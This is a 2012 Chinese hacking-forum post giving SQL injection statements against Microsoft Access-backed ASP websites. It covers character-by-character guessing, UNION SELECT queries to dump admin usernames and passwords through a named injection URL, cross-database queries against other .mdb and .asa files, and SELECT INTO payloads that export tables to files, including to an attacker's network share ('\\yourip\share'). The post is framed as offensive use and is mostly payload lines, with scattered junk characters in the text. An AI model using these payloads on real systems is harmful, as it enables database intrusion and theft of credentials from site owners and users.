找回密码
 立即注册
查看: 2620|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------) ^/ b- }% m2 ?$ w# J: t  z
union查询法
; z3 ]/ I6 ?8 [$ ?; W# B2 _! r首先要说的就是查询办法,一般的查询办法就是
- y" m! X( U) d, p5 G
9 Y* N% S4 l+ a/ K( i  p程序代码
$ A& T* C& p) G) B% B: O1 R! M- zand 1=(select count(*) from admin where left(id,1)='1')5 j3 C# t9 q+ _* F" m
  J# k+ R3 _9 o' X
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.3 U# J: Y. i8 J& y( Y, O! t
所以这个时候,union select横空出现.别以为只能在PHP里用哦...5 I/ g) P0 S0 C2 }' G4 U' h
譬如你有一个ACCESS点:
1 f1 ~3 f3 c$ O# {: f( H9 V程序代码
. C' h0 o, Q6 \http://bbs.tian6.com/xiaoyang.asp?coder=1
) c' d0 D: a. n& z4 |9 ~! p/ q* Z% d, i8 O
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),6 C6 A5 o  R* n# m& u" t4 {
然后我们直接来:
, S' u# V1 Q4 u+ R程序代码% D$ J  V# e. N3 X
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
5 j4 b/ p! p, Z8 t( z0 H# \% Q3 D/ {! {3 J5 o% J# r
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
1 V* _' M  y6 _& A; y' ~
  L% J) G& X6 Q2 K( V& V
; j$ C  }6 k- P4 u+ ~
3 ]" b, A  H% f8 L5 G# c---------------------------------------------------------------
3 B* M9 A% v) G0 x8 X* oAccess跨库查询+ t+ F2 l: A  |# O8 Z' m7 Z
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.. L+ Z. H, p& q# X1 I; ?+ M
跨库的查询语句:
" T' W) G" X% N子查询:- `/ ^1 o4 b2 R# l% J' O
程序代码
! E6 q# a! l1 s3 K3 band (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
6 i0 S- L3 c, w" U
  Q  N+ X" T) d, D( s& ]  sunion查询:
3 V4 O; B! H; O程序代码' ?' [! M: K) `3 ~0 ~7 t1 [& D* a
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
. q% s6 P. p7 ~9 S5 k9 A: {+ H' J
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:& n  i* f9 G) P- x, F& {9 S
程序代码
6 V* O+ ~4 a7 Rhttp://www.4ngel.net/article/46.htm . L$ c2 v, L! o0 u, y! w
http://hf110.com/Article/hack/rqsl/200502/66.html( a- W% h8 ^& X0 ^

$ w/ z5 q1 u1 R2 J/ g+ [" s4 p5 A---------------------------------------------------------------
* X' ^, Z* q/ qAccess注入,导出txt,htm,html
' T2 h% S7 Z" V0 L( d2 l: M8 h子查询语句:  h8 y( E/ a8 M% ]0 G" e
程序代码/ u( O! y! C$ j5 G7 {9 X
Select * into [test.txt] in 'd:\web\' 'text;' from admin% Q# v( i3 p% W9 h' Z6 y- J) c) ^
1 q8 f5 t6 y. U  L' a+ V' {
这样就把admin表的内容以test类型存进了d:\web里面.
" o; R; V2 W! z, PUNION查询:& H8 _# M. t2 V' B) _3 a4 u5 ?* W
程序代码
6 ?! x$ x' j7 D4 H1 Z& v, funion select * into [admin.txt] in 'c:\' 'test;' from admin
5 S/ @0 H5 `8 C4 n: y/ T6 M) W. [
而且这里也可以保存到本地来:' I( X2 L. E/ h: e: o
程序代码
% Y+ |% B8 z8 G; a8 T5 nSelect * into [test.txt] in '\\yourip\share' 'text;' from admin
% a0 F. h# r) y) y7 G. I$ W& j- B& y) y- [1 T% ]1 ?
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
* Y1 a3 Z/ z. z0 H9 t' Q% y% x1 i$ C+ v; U8 j9 x/ i8 n
程序代码
! }9 [# F# y# r/ Khttp://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7. ]- o+ U0 E( \* Q0 `

: X; p1 r% i0 Q) r因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.  Q" k4 N7 @: N' |; K( {, H. d/ C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表